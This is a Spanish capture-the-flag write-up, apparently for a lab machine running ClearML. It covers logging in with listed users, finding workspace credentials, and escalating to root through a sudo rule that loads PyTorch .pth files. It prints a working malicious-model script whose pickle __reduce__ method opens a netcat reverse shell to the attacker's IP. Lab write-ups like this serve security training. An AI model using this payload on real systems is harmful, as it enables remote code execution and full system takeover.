Añadimos la IP 10.10.11.19 a nuestro /etc/hosts y accedemos través del navegador. Llegamos a una página de login:
Cuando clickamos para escribir el usuario aparecen varios, lo que nos puede ayudar a acceder:
Por ejemplo accedemos como Chad Jippity y llegamos a un dashboard. Aquí podríamos empezar a investigar y a buscar credenciales, pero antes vamos a escanear los puertos abiertos para ver otras vías de entrada.
Como vemos, es un Clear ML, por lo que podemos buscar exploits públicos. Si accedemos a Settings > Workspace nos encontramos 2 credenciales:
La salida del comando sudo -l indica que el usuario jippity tiene permisos para ejecutar el comando /usr/bin/evaluate_model como root sin necesidad de ingresar una contraseña. Además, puede ejecutar este comando con cualquier archivo .pth en el directorio /models/. Esto podría permitir una elevación de privilegios si podemos aprovechar alguna vulnerabilidad o mal uso del archivo evaluate_model.
Creación de un archivo .pth Malicioso
Vamos a crear un script malicioso malicious-model.py en nuestro Kali Linux, lo ejecutamos en local y nos da un archivo root.pth que tendremos que enviar a la máquina:
importtorchimporttorch.nnasnnimportosclassMaliciousModel(nn.Module):# PyTorch's base class for all neural network modulesdef__init__(self):super(MaliciousModel,self).__init__()self.dense=nn.Linear(10,1)# Define how the data flows through the modeldefforward(self,abdulrahman):# Passes input through the linear layer.returnself.dense(abdulrahman)# Overridden __reduce__ Methoddef__reduce__(self):cmd="rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.10.14.70 1234 >/tmp/f"returnos.system, (cmd,)# Create an instance of the modelmalicious_model=MaliciousModel()# Save the model using torch.savetorch.save(malicious_model,'root.pth')
Fijaros que nos devuelve una conexión de netcat a nuestra IP de atacante y al puerto 1234
Una vez que tenemos el archivo root.pth en la máquina solo tenemos que abrir un listener con netcat por el puerto 1234 que le indicamos, mover el archivo root.pth al directorio /models y ejecutar el script con sudo, pasándole root.pth como argumento: